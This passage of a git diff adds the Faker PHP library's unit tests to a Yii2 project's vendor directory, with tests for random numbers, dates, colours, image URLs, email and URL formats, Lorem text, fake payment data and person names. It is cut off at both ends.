0; + // IMPORTANT : from right to left + $position = 1; + for ($i = strlen($code) - 1; $i >= 0; $i--) { + $isEven = (($position++ % 2) === 0); + $tmp = $isEven ? $code[$i] * 2 : $code[$i]; + if ($tmp >= 10) $tmp -= 9; + $sum += $tmp; + } + + return ($sum % 10 === 0); + + } + + public function toString() + { + return sprintf('is a valid %s number', $this->getName()); + } + + abstract protected function getLength(); + + abstract protected function getName(); + +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/PHPUnit/Framework/Constraint/IsValidSiret.php b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/PHPUnit/Framework/Constraint/IsValidSiret.php new file mode 100644 index 00000000..4725fbec --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/PHPUnit/Framework/Constraint/IsValidSiret.php @@ -0,0 +1,18 @@ +assertTrue(is_integer(BaseProvider::randomDigit())); + } + + public function testRandomDigitReturnsDigit() + { + $this->assertTrue(BaseProvider::randomDigit() >= 0); + $this->assertTrue(BaseProvider::randomDigit() < 10); + } + + public function testRandomDigitNotNullReturnsNotNullDigit() + { + $this->assertTrue(BaseProvider::randomDigitNotNull() > 0); + $this->assertTrue(BaseProvider::randomDigitNotNull() < 10); + } + + /** + * @expectedException \InvalidArgumentException + */ + public function testRandomNumberThrowsExceptionWhenCalledWithAMax() + { + BaseProvider::randomNumber(5, 200); + } + + /** + * @expectedException \InvalidArgumentException + */ + public function testRandomNumberThrowsExceptionWhenCalledWithATooHighNumberOfDigits() + { + BaseProvider::randomNumber(10); + } + + public function testRandomNumberReturnsInteger() + { + $this->assertTrue(is_integer(BaseProvider::randomNumber())); + $this->assertTrue(is_integer(BaseProvider::randomNumber(5, false))); + } + + public function testRandomNumberReturnsDigit() + { + $this->assertTrue(BaseProvider::randomNumber(3) >= 0); + $this->assertTrue(BaseProvider::randomNumber(3) < 1000); + } + + public function testRandomNumberAcceptsStrictParamToEnforceNumberSize() + { + $this->assertEquals(5, strlen((string) BaseProvider::randomNumber(5, true))); + } + + public function testNumberBetween() + { + $min = 5; + $max = 6; + + $this->assertGreaterThanOrEqual($min, BaseProvider::numberBetween($min, $max)); + $this->assertGreaterThanOrEqual(BaseProvider::numberBetween($min, $max), $max); + } + + public function testNumberBetweenAcceptsZeroAsMax() + { + $this->assertEquals(0, BaseProvider::numberBetween(0, 0)); + } + + public function testRandomFloat() + { + $min = 4; + $max = 10; + $nbMaxDecimals = 8; + + $result = BaseProvider::randomFloat($nbMaxDecimals, $min, $max); + + $parts = explode('.', $result); + + $this->assertInternalType('float', $result); + $this->assertGreaterThanOrEqual($min, $result); + $this->assertLessThanOrEqual($max, $result); + $this->assertLessThanOrEqual($nbMaxDecimals, strlen($parts[1])); + } + + public function testRandomLetterReturnsString() + { + $this->assertTrue(is_string(BaseProvider::randomLetter())); + } + + public function testRandomLetterReturnsSingleLetter() + { + $this->assertEquals(1, strlen(BaseProvider::randomLetter())); + } + + public function testRandomLetterReturnsLowercaseLetter() + { + $lowercaseLetters = 'abcdefghijklmnopqrstuvwxyz'; + $this->assertTrue(strpos($lowercaseLetters, BaseProvider::randomLetter()) !== false); + } + + public function testRandomElementReturnsNullWhenArrayEmpty() + { + $this->assertNull(BaseProvider::randomElement(array())); + } + + public function testRandomElementReturnsElementFromArray() + { + $elements = array('23', 'e', 32, '#'); + $this->assertContains(BaseProvider::randomElement($elements), $elements); + } + + public function testRandomElementReturnsElementFromAssociativeArray() + { + $elements = array('tata' => '23', 'toto' => 'e', 'tutu' => 32, 'titi' => '#'); + $this->assertContains(BaseProvider::randomElement($elements), $elements); + } + + public function testNumerifyReturnsSameStringWhenItContainsNoHashSign() + { + $this->assertEquals('fooBar?', BaseProvider::numerify('fooBar?')); + } + + public function testNumerifyReturnsStringWithHashSignsReplacedByDigits() + { + $this->assertRegExp('/foo\dBa\dr/', BaseProvider::numerify('foo#Ba#r')); + } + + public function testNumerifyReturnsStringWithPercentageSignsReplacedByDigits() + { + $this->assertRegExp('/foo\dBa\dr/', BaseProvider::numerify('foo%Ba%r')); + } + + public function testNumerifyReturnsStringWithPercentageSignsReplacedByNotNullDigits() + { + $this->assertNotEquals('0', BaseProvider::numerify('%')); + } + + public function testNumerifyCanGenerateALargeNumberOfDigits() + { + $largePattern = str_repeat('#', 20); // definitely larger than PHP_INT_MAX on all systems + $this->assertEquals(20, strlen(BaseProvider::numerify($largePattern))); + } + + public function testLexifyReturnsSameStringWhenItContainsNoQuestionMark() + { + $this->assertEquals('fooBar#', BaseProvider::lexify('fooBar#')); + } + + public function testLexifyReturnsStringWithQuestionMarksReplacedByLetters() + { + $this->assertRegExp('/foo[a-z]Ba[a-z]r/', BaseProvider::lexify('foo?Ba?r')); + } + + public function testBothifyCombinesNumerifyAndLexify() + { + $this->assertRegExp('/foo[a-z]Ba\dr/', BaseProvider::bothify('foo?Ba#r')); + } + + public function testOptionalReturnsProviderValueWhenCalledWithWeight1() + { + $faker = new \Faker\Generator(); + $faker->addProvider(new \Faker\Provider\Base($faker)); + $this->assertNotNull($faker->optional(1)->randomDigit); + } + + public function testOptionalReturnsNullWhenCalledWithWeight0() + { + $faker = new \Faker\Generator(); + $faker->addProvider(new \Faker\Provider\Base($faker)); + $this->assertNull($faker->optional(0)->randomDigit); + } + + public function testOptionalAllowsChainingPropertyAccess() + { + $faker = new \Faker\Generator(); + $faker->addProvider(new \Faker\Provider\Base($faker)); + $faker->addProvider(new \ArrayObject(array(1))); // hack because method_exists forbids stubs + $this->assertEquals(1, $faker->optional(1)->count); + $this->assertNull($faker->optional(0)->count); + } + + public function testOptionalAllowsChainingMethodCall() + { + $faker = new \Faker\Generator(); + $faker->addProvider(new \Faker\Provider\Base($faker)); + $faker->addProvider(new \ArrayObject(array(1))); // hack because method_exists forbids stubs + $this->assertEquals(1, $faker->optional(1)->count()); + $this->assertNull($faker->optional(0)->count()); + } + + public function testOptionalAllowsChainingProviderCallRandomlyReturnNull() + { + $faker = new \Faker\Generator(); + $faker->addProvider(new \Faker\Provider\Base($faker)); + $values = array(); + for ($i=0; $i < 10; $i++) { + $values[]= $faker->optional()->randomDigit; + } + $this->assertContains(null, $values); + } + + public function testUniqueAllowsChainingPropertyAccess() + { + $faker = new \Faker\Generator(); + $faker->addProvider(new \Faker\Provider\Base($faker)); + $faker->addProvider(new \ArrayObject(array(1))); // hack because method_exists forbids stubs + $this->assertEquals(1, $faker->unique()->count); + } + + public function testUniqueAllowsChainingMethodCall() + { + $faker = new \Faker\Generator(); + $faker->addProvider(new \Faker\Provider\Base($faker)); + $faker->addProvider(new \ArrayObject(array(1))); // hack because method_exists forbids stubs + $this->assertEquals(1, $faker->unique()->count()); + } + + public function testUniqueReturnsOnlyUniqueValues() + { + $faker = new \Faker\Generator(); + $faker->addProvider(new \Faker\Provider\Base($faker)); + $values = array(); + for ($i=0; $i < 10; $i++) { + $values[]= $faker->unique()->randomDigit; + } + sort($values); + $this->assertEquals(array(0, 1, 2, 3, 4, 5, 6, 7, 8, 9), $values); + } + + /** + * @expectedException OverflowException + */ + public function testUniqueThrowsExceptionWhenNoUniqueValueCanBeGenerated() + { + $faker = new \Faker\Generator(); + $faker->addProvider(new \Faker\Provider\Base($faker)); + for ($i=0; $i < 11; $i++) { + $faker->unique()->randomDigit; + } + } + + public function testUniqueCanResetUniquesWhenPassedTrueAsArgument() + { + $faker = new \Faker\Generator(); + $faker->addProvider(new \Faker\Provider\Base($faker)); + $values = array(); + for ($i=0; $i < 10; $i++) { + $values[]= $faker->unique()->randomDigit; + } + $values[]= $faker->unique(true)->randomDigit; + for ($i=0; $i < 9; $i++) { + $values[]= $faker->unique()->randomDigit; + } + sort($values); + $this->assertEquals(array(0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8, 8, 9, 9), $values); + } + + /** + * @expectedException LengthException + * @expectedExceptionMessage Cannot get 2 elements, only 1 in array + */ + public function testRandomElementsThrowsWhenRequestingTooManyKeys() + { + BaseProvider::randomElements(array('foo'), 2); + } + + public function testRandomElements() + { + $this->assertCount(1, BaseProvider::randomElements(), 'Should work without any input'); + + $empty = BaseProvider::randomElements(array(), 0); + $this->assertInternalType('array', $empty); + $this->assertCount(0, $empty); + + $shuffled = BaseProvider::randomElements(array('foo', 'bar', 'baz'), 3); + $this->assertContains('foo', $shuffled); + $this->assertContains('bar', $shuffled); + $this->assertContains('baz', $shuffled); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/ColorTest.php b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/ColorTest.php new file mode 100644 index 00000000..3393b674 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/ColorTest.php @@ -0,0 +1,32 @@ +assertRegExp('/^#[a-f0-9]{6}$/i', Color::hexColor()); + } + + public function testRgbColorAsArray() + { + $this->assertEquals(3, count(Color::rgbColorAsArray())); + } + + public function testRgbColor() + { + $regexp = '([01]?[0-9]?[0-9]|2[0-4][0-9]|25[0-5])'; + $this->assertRegExp('/^' . $regexp . ',' . $regexp . ',' . $regexp . '$/i', Color::rgbColor()); + } + + public function testRgbCssColor() + { + $regexp = '([01]?[0-9]?[0-9]|2[0-4][0-9]|25[0-5])'; + $this->assertRegExp('/^rgb\(' . $regexp . ',' . $regexp . ',' . $regexp . '\)$/i', Color::rgbCssColor()); + } + +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/DateTimeTest.php b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/DateTimeTest.php new file mode 100644 index 00000000..937cc743 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/DateTimeTest.php @@ -0,0 +1,122 @@ +assertInternalType('int', $timestamp); + $this->assertTrue($timestamp >= 0); + $this->assertTrue($timestamp <= time()); + } + + public function testDateTime() + { + $date = DateTimeProvider::dateTime(); + $this->assertInstanceOf('\DateTime', $date); + $this->assertGreaterThanOrEqual(new \DateTime('@0'), $date); + $this->assertLessThanOrEqual(new \DateTime(), $date); + } + + public function testDateTimeAD() + { + $date = DateTimeProvider::dateTimeAD(); + $this->assertInstanceOf('\DateTime', $date); + $this->assertGreaterThanOrEqual(new \DateTime('0000-01-01 00:00:00'), $date); + $this->assertLessThanOrEqual(new \DateTime(), $date); + } + + public function testIso8601() + { + $date = DateTimeProvider::iso8601(); + $this->assertRegExp('/^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}[+-Z](\d{4})?$/', $date); + $this->assertGreaterThanOrEqual(new \DateTime('@0'), new \DateTime($date)); + $this->assertLessThanOrEqual(new \DateTime(), new \DateTime($date)); + } + + public function testDate() + { + $date = DateTimeProvider::date(); + $this->assertRegExp('/^\d{4}-\d{2}-\d{2}$/', $date); + $this->assertGreaterThanOrEqual(new \DateTime('@0'), new \DateTime($date)); + $this->assertLessThanOrEqual(new \DateTime(), new \DateTime($date)); + } + + public function testTime() + { + $date = DateTimeProvider::time(); + $this->assertRegExp('/^\d{2}:\d{2}:\d{2}$/', $date); + } + + /** + * + * @dataProvider providerDateTimeBetween + */ + public function testDateTimeBetween($start, $end) + { + $date = DateTimeProvider::dateTimeBetween($start, $end); + $this->assertInstanceOf('\DateTime', $date); + $this->assertGreaterThanOrEqual(new \DateTime($start), $date); + $this->assertLessThanOrEqual(new \DateTime($end), $date); + } + + public function providerDateTimeBetween() + { + return array( + array('-1 year', false), + array('-1 year', null), + array('-1 day', '-1 hour'), + array('-1 day', 'now'), + ); + } + + public function testFixedSeedWithMaximumTimestamp() + { + $max = '2018-03-01 12:00:00'; + + mt_srand(1); + $unixTime = DateTimeProvider::unixTime($max); + $datetimeAD = DateTimeProvider::dateTimeAD($max); + $dateTime1 = DateTimeProvider::dateTime($max); + $dateTimeBetween = DateTimeProvider::dateTimeBetween('2014-03-01 06:00:00', $max); + $date = DateTimeProvider::date('Y-m-d', $max); + $time = DateTimeProvider::time('H:i:s', $max); + $iso8601 = DateTimeProvider::iso8601($max); + $dateTimeThisCentury = DateTimeProvider::dateTimeThisCentury($max); + $dateTimeThisDecade = DateTimeProvider::dateTimeThisDecade($max); + $dateTimeThisMonth = DateTimeProvider::dateTimeThisMonth($max); + $amPm = DateTimeProvider::amPm($max); + $dayOfMonth = DateTimeProvider::dayOfMonth($max); + $dayOfWeek = DateTimeProvider::dayOfWeek($max); + $month = DateTimeProvider::month($max); + $monthName = DateTimeProvider::monthName($max); + $year = DateTimeProvider::year($max); + $dateTimeThisYear = DateTimeProvider::dateTimeThisYear($max); + mt_srand(); + + //regenerate Random Date with same seed and same maximum end timestamp + mt_srand(1); + $this->assertEquals($unixTime, DateTimeProvider::unixTime($max)); + $this->assertEquals($datetimeAD, DateTimeProvider::dateTimeAD($max)); + $this->assertEquals($dateTime1, DateTimeProvider::dateTime($max)); + $this->assertEquals($dateTimeBetween, DateTimeProvider::dateTimeBetween('2014-03-01 06:00:00', $max)); + $this->assertEquals($date, DateTimeProvider::date('Y-m-d', $max)); + $this->assertEquals($time, DateTimeProvider::time('H:i:s', $max)); + $this->assertEquals($iso8601, DateTimeProvider::iso8601($max)); + $this->assertEquals($dateTimeThisCentury, DateTimeProvider::dateTimeThisCentury($max)); + $this->assertEquals($dateTimeThisDecade, DateTimeProvider::dateTimeThisDecade($max)); + $this->assertEquals($dateTimeThisMonth, DateTimeProvider::dateTimeThisMonth($max)); + $this->assertEquals($amPm, DateTimeProvider::amPm($max)); + $this->assertEquals($dayOfMonth, DateTimeProvider::dayOfMonth($max)); + $this->assertEquals($dayOfWeek, DateTimeProvider::dayOfWeek($max)); + $this->assertEquals($month, DateTimeProvider::month($max)); + $this->assertEquals($monthName, DateTimeProvider::monthName($max)); + $this->assertEquals($year, DateTimeProvider::year($max)); + $this->assertEquals($dateTimeThisYear, DateTimeProvider::dateTimeThisYear($max)); + mt_srand(); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/ImageTest.php b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/ImageTest.php new file mode 100644 index 00000000..8f64a1a5 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/ImageTest.php @@ -0,0 +1,48 @@ +assertEquals(Image::imageUrl(), 'http://lorempixel.com/640/480/'); + } + + public function testUrlWithDimensions() + { + $this->assertEquals(Image::imageUrl(800, 400), 'http://lorempixel.com/800/400/'); + } + + public function testUrlWithDimensionsAndCategory() + { + $this->assertEquals(Image::imageUrl(800, 400, 'nature'), 'http://lorempixel.com/800/400/nature/'); + } + + /** + * @expectedException \InvalidArgumentException + */ + public function testUrlWithDimensionsAndBadCategory() + { + Image::imageUrl(800, 400, 'bullhonky'); + } + + public function testDownloadWithDefaults() + { + $file = Image::image(sys_get_temp_dir()); + $this->assertFileExists($file); + if (function_exists('getimagesize')) { + list($width, $height, $type, $attr) = getimagesize($file); + $this->assertEquals(640, $width); + $this->assertEquals(480, $height); + $this->assertEquals(constant('IMAGETYPE_JPEG'), $type); + } else { + $this->assertEquals('jpg', pathinfo($file, PATHINFO_EXTENSION)); + } + if (file_exists($file)) { + unlink($file); + } + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/InternetTest.php b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/InternetTest.php new file mode 100644 index 00000000..77fc8b74 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/InternetTest.php @@ -0,0 +1,68 @@ +addProvider(new Lorem($faker)); + $faker->addProvider(new Person($faker)); + $faker->addProvider(new Internet($faker)); + $faker->addProvider(new Company($faker)); + $this->faker = $faker; + } + + /** + * @link http://stackoverflow.com/questions/12026842/how-to-validate-an-email-address-in-php + */ + public function testEmailIsValid() + { + $pattern = '/^(?!(?:(?:\\x22?\\x5C[\\x00-\\x7E]\\x22?)|(?:\\x22?[^\\x5C\\x22]\\x22?)){255,})(?!(?:(?:\\x22?\\x5C[\\x00-\\x7E]\\x22?)|(?:\\x22?[^\\x5C\\x22]\\x22?)){65,}@)(?:(?:[\\x21\\x23-\\x27\\x2A\\x2B\\x2D\\x2F-\\x39\\x3D\\x3F\\x5E-\\x7E]+)|(?:\\x22(?:[\\x01-\\x08\\x0B\\x0C\\x0E-\\x1F\\x21\\x23-\\x5B\\x5D-\\x7F]|(?:\\x5C[\\x00-\\x7F]))*\\x22))(?:\\.(?:(?:[\\x21\\x23-\\x27\\x2A\\x2B\\x2D\\x2F-\\x39\\x3D\\x3F\\x5E-\\x7E]+)|(?:\\x22(?:[\\x01-\\x08\\x0B\\x0C\\x0E-\\x1F\\x21\\x23-\\x5B\\x5D-\\x7F]|(?:\\x5C[\\x00-\\x7F]))*\\x22)))*@(?:(?:(?!.*[^.]{64,})(?:(?:(?:xn--)?[a-z0-9]+(?:-+[a-z0-9]+)*\\.){1,126}){1,}(?:(?:[a-z][a-z0-9]*)|(?:(?:xn--)[a-z0-9]+))(?:-+[a-z0-9]+)*)|(?:\\[(?:(?:IPv6:(?:(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){7})|(?:(?!(?:.*[a-f0-9][:\\]]){7,})(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,5})?::(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,5})?)))|(?:(?:IPv6:(?:(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){5}:)|(?:(?!(?:.*[a-f0-9]:){5,})(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,3})?::(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,3}:)?)))?(?:(?:25[0-5])|(?:2[0-4][0-9])|(?:1[0-9]{2})|(?:[1-9]?[0-9]))(?:\\.(?:(?:25[0-5])|(?:2[0-4][0-9])|(?:1[0-9]{2})|(?:[1-9]?[0-9]))){3}))\\]))$/iD'; + $emailaddress = $this->faker->email(); + $this->assertSame(preg_match($pattern, $emailaddress), 1); + } + + public function testUsernameIsValid() + { + $pattern = '/^[A-Za-z0-9_.]+$/'; + $emailaddress = $this->faker->username(); + $this->assertSame(preg_match($pattern, $emailaddress), 1); + } + + public function testSlugIsValid() + { + $pattern = '/^[a-z0-9-]+$/'; + $slug = $this->faker->slug(); + $this->assertSame(preg_match($pattern, $slug), 1); + } + + /** + * @link http://code.tutsplus.com/tutorials/8-regular-expressions-you-should-know--net-6149 + */ + public function testUrlIsValid() + { + $pattern = '/^(https?:\/\/)?([\da-z\.-]+)\.([a-z\.]{2,6})([\/\w \.-]*)*\/?$/'; + $url = $this->faker->url(); + $this->assertSame(preg_match($pattern, $url), 1); + } + + public function testLocalIpv4() + { + $range1 = '(10)(\.(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])|[1][0-9][0-9]|[1-9][0-9]|[0-9])){3}'; + $range2 = '(192)\.(168)(\.(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])|[1][0-9][0-9]|[1-9][0-9]|[0-9])){2}'; + $this->assertRegExp('/^'.$range1.'|'.$range2.'$/', Internet::localIpv4()); + } + + public function testMacAddress() + { + $this->assertRegExp('/^([0-9A-F]{2}[:]){5}([0-9A-F]{2})$/i', Internet::macAddress()); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/LocalizationTest.php b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/LocalizationTest.php new file mode 100644 index 00000000..347b1351 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/LocalizationTest.php @@ -0,0 +1,26 @@ +assertNotNull($faker->name(), 'Localized Name Provider ' . $matches[1] . ' does not throw errors'); + } + } + + public function testLocalizedAddressProvidersDoNotThrowErrors() + { + foreach (glob(__DIR__ . '/../../../src/Faker/Provider/*/Address.php') as $localizedAddress) { + preg_match('#/([a-zA-Z_]+)/Address\.php#', $localizedAddress, $matches); + $faker = Factory::create($matches[1]); + $this->assertNotNull($faker->address(), 'Localized Address Provider ' . $matches[1] . ' does not throw errors'); + } + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/LoremTest.php b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/LoremTest.php new file mode 100644 index 00000000..62785d43 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/LoremTest.php @@ -0,0 +1,108 @@ +assertEquals('Word word word word.', TestableLorem::text(24)); + } + + public function testTextReturnsSentencesWhenAskedSizeLessThan100() + { + $this->assertEquals('This is a test sentence. This is a test sentence. This is a test sentence.', TestableLorem::text(99)); + } + + public function testTextReturnsParagraphsWhenAskedSizeGreaterOrEqualThanThan100() + { + $this->assertEquals('This is a test paragraph. It has three sentences. Exactly three.', TestableLorem::text(100)); + } + + public function testSentenceWithZeroNbWordsReturnsEmptyString() + { + $this->assertEquals('', Lorem::sentence(0)); + } + + public function testSentenceWithNegativeNbWordsReturnsEmptyString() + { + $this->assertEquals('', Lorem::sentence(-1)); + } + + public function testParagraphWithZeroNbSentencesReturnsEmptyString() + { + $this->assertEquals('', Lorem::paragraph(0)); + } + + public function testParagraphWithNegativeNbSentencesReturnsEmptyString() + { + $this->assertEquals('', Lorem::paragraph(-1)); + } + + public function testSentenceWithPositiveNbWordsReturnsAtLeastOneWord() + { + $sentence = Lorem::sentence(1); + + $this->assertGreaterThan(1, strlen($sentence)); + $this->assertGreaterThanOrEqual(1, count(explode(' ', $sentence))); + } + + public function testParagraphWithPositiveNbSentencesReturnsAtLeastOneWord() + { + $paragraph = Lorem::paragraph(1); + + $this->assertGreaterThan(1, strlen($paragraph)); + $this->assertGreaterThanOrEqual(1, count(explode(' ', $paragraph))); + } + + public function testWordssAsText() + { + $words = TestableLorem::words(2, true); + + $this->assertEquals('word word', $words); + } + + public function testSentencesAsText() + { + $sentences = TestableLorem::sentences(2, true); + + $this->assertEquals('This is a test sentence. This is a test sentence.', $sentences); + } + + public function testParagraphsAsText() + { + $paragraphs = TestableLorem::paragraphs(2, true); + + $expected = "This is a test paragraph. It has three sentences. Exactly three.\n\nThis is a test paragraph. It has three sentences. Exactly three."; + $this->assertEquals($expected, $paragraphs); + } +} + +class TestableLorem extends Lorem +{ + + public static function word() + { + return 'word'; + } + + public static function sentence($nbWords = 5, $variableNbWords = true) + { + return 'This is a test sentence.'; + } + + public static function paragraph($nbSentences = 3, $variableNbSentences = true) + { + return 'This is a test paragraph. It has three sentences. Exactly three.'; + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/PaymentTest.php b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/PaymentTest.php new file mode 100644 index 00000000..f075feef --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/PaymentTest.php @@ -0,0 +1,45 @@ +addProvider(new \Faker\Provider\Base($faker)); + $faker->addProvider(new \Faker\Provider\DateTime($faker)); + $faker->addProvider(new \Faker\Provider\Person($faker)); + $faker->addProvider(new \Faker\Provider\Payment($faker)); + $this->faker = $faker; + } + + public function testCreditCardTypeReturnsValidVendorName() + { + $this->assertTrue(in_array($this->faker->creditCardType, array('Visa', 'MasterCard', 'American Express', 'Discover Card'))); + } + + public function testCreditCardNumberReturnsValidCreditCardNumber() + { + $this->assertRegExp('/^6011\d{12}$/', $this->faker->creditCardNumber('Discover Card')); + } + + public function testCreditCardNumberCanFormatOutput() + { + $this->assertRegExp('/^6011-\d{4}-\d{4}-\d{4}$/', $this->faker->creditCardNumber('Discover Card', true)); + } + + public function testCreditCardExpirationDateReturnsValidDateByDefault() + { + $expirationDate = $this->faker->creditCardExpirationDate; + $this->assertTrue(intval($expirationDate->format('U')) > strtotime('now')); + $this->assertTrue(intval($expirationDate->format('U')) < strtotime('+36 months')); + } + + public function testRandomCard() + { + $cardDetails = $this->faker->creditCardDetails; + $this->assertEquals(count($cardDetails), 4); + $this->assertEquals(array('type', 'number', 'name', 'expirationDate'), array_keys($cardDetails)); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/PersonTest.php b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/PersonTest.php new file mode 100644 index 00000000..346f0b78 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/PersonTest.php @@ -0,0 +1,86 @@ +addProvider(new Person($faker)); + $this->assertContains($faker->firstName($gender), $expected); + } + + public function firstNameProvider() + { + return array( + array(null, array('John', 'Jane')), + array('foobar', array('John', 'Jane')), + array('male', array('John')), + array('female', array('Jane')), + ); + } + + public function testFirstNameMale() + { + $this->assertContains(Person::firstNameMale(), array('John')); + } + + public function testFirstNameFemale() + { + $this->assertContains(Person::firstNameFemale(), array('Jane')); + } + + /** + * @dataProvider titleProvider + */ + public function testTitle($gender, $expected) + { + $faker = new Generator(); + $faker->addProvider(new Person($faker)); + $this->assertContains($faker->title($gender), $expected); + } + + public function titleProvider() + { + return array( + array(null, array('Mr.', 'Mrs.', 'Ms.', 'Miss', 'Dr.', 'Prof.')), + array('foobar', array('Mr.', 'Mrs.', 'Ms.', 'Miss', 'Dr.', 'Prof.')), + array('male', array('Mr.', 'Dr.', 'Prof.')), + array('female', array('Mrs.', 'Ms.', 'Miss', 'Dr.', 'Prof.')), + ); + } + + public function testTitleMale() + { + $this->assertContains(Person::titleMale(), array('Mr.', 'Dr.', 'Prof.')); + } + + public function testTitleFemale() + { + $this->assertContains(Person::titleFemale(), array('Mrs.', 'Ms.', 'Miss', 'Dr.', 'Prof.')); + } + + public function testLastNameReturnsDoe() + { + $faker = new Generator(); + $faker->addProvider(new Person($faker)); + $this->assertEquals($faker->lastName(), 'Doe'); + } + + public function testNameReturnsFirstNameAndLastName() + { + $faker = new Generator(); + $faker->addProvider(new Person($faker)); + $this->assertContains($faker->name(), array('John Doe', 'Jane Doe')); + $this->assertContains($faker->name('foobar'), array('John Doe', 'Jane Doe')); + $this->assertContains($faker->name('male'), array('John Doe')); + $this->assertContains($faker->name('female'), array('Jane Doe')); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/ProviderOverrideTest.php b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/ProviderOverrideTest.php new file mode 100644 index 00000000..68f75ae6 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/Provider/ProviderOverrideTest.php @@ -0,0 +1,189 @@ + + */ + +namespace Faker\Test\Provider; + +use Faker; + +/** + * Class ProviderOverrideTest + * + * @package Faker\Test\Provider + * + * This class tests a large portion of all locale specific providers. It does not test the entire stack, because each + * locale specific provider (can) has specific implementations. The goal of this test is to test the common denominator + * and to try to catch possible invalid multi-byte sequences. + */ +class ProviderOverrideTest extends \PHPUnit_Framework_TestCase +{ + /** + * Constants with regular expression patterns for testing the output. + * + * Regular expressions are sensitive for malformed strings (e.g.: strings with incorrect encodings) so by using + * PCRE for the tests, even though they seem fairly pointless, we test for incorrect encodings also. + */ + const TEST_STRING_REGEX = '/.+/u'; + + /** + * Slightly more specific for e-mail, the point isn't to properly validate e-mails. + */ + const TEST_EMAIL_REGEX = '/^(.+)@(.+)$/ui'; + + /** + * @dataProvider localeDataProvider + * @param string $locale + */ + public function testAddress($locale = null) + { + $faker = Faker\Factory::create($locale); + + $this->assertRegExp(static::TEST_STRING_REGEX, $faker->city); + $this->assertRegExp(static::TEST_STRING_REGEX, $faker->postcode); + $this->assertRegExp(static::TEST_STRING_REGEX, $faker->address); + $this->assertRegExp(static::TEST_STRING_REGEX, $faker->country); + } + + + /** + * @dataProvider localeDataProvider + * @param string $locale + */ + public function testCompany($locale = null) + { + $faker = Faker\Factory::create($locale); + + $this->assertRegExp(static::TEST_STRING_REGEX, $faker->company); + } + + + /** + * @dataProvider localeDataProvider + * @param string $locale + */ + public function testDateTime($locale = null) + { + $faker = Faker\Factory::create($locale); + + $this->assertRegExp(static::TEST_STRING_REGEX, $faker->century); + $this->assertRegExp(static::TEST_STRING_REGEX, $faker->timezone); + } + + + /** + * @dataProvider localeDataProvider + * @param string $locale + */ + public function testInternet($locale = null) + { + $faker = Faker\Factory::create($locale); + + $this->assertRegExp(static::TEST_STRING_REGEX, $faker->userName); + + $this->assertRegExp(static::TEST_EMAIL_REGEX, $faker->email); + $this->assertRegExp(static::TEST_EMAIL_REGEX, $faker->safeEmail); + $this->assertRegExp(static::TEST_EMAIL_REGEX, $faker->freeEmail); + $this->assertRegExp(static::TEST_EMAIL_REGEX, $faker->companyEmail); + } + + + /** + * @dataProvider localeDataProvider + * @param string $locale + */ + public function testPerson($locale = null) + { + $faker = Faker\Factory::create($locale); + + $this->assertRegExp(static::TEST_STRING_REGEX, $faker->name); + $this->assertRegExp(static::TEST_STRING_REGEX, $faker->title); + $this->assertRegExp(static::TEST_STRING_REGEX, $faker->firstName); + $this->assertRegExp(static::TEST_STRING_REGEX, $faker->lastName); + } + + + /** + * @dataProvider localeDataProvider + * @param string $locale + */ + public function testPhoneNumber($locale = null) + { + $faker = Faker\Factory::create($locale); + + $this->assertRegExp(static::TEST_STRING_REGEX, $faker->phoneNumber); + } + + + /** + * @dataProvider localeDataProvider + * @param string $locale + */ + public function testUserAgent($locale = null) + { + $faker = Faker\Factory::create($locale); + + $this->assertRegExp(static::TEST_STRING_REGEX, $faker->userAgent); + } + + + /** + * @dataProvider localeDataProvider + * + * @param null $locale + * @param string $locale + */ + public function testUuid($locale = null) + { + $faker = Faker\Factory::create($locale); + + $this->assertRegExp(static::TEST_STRING_REGEX, $faker->uuid); + } + + + /** + * @return array + */ + public function 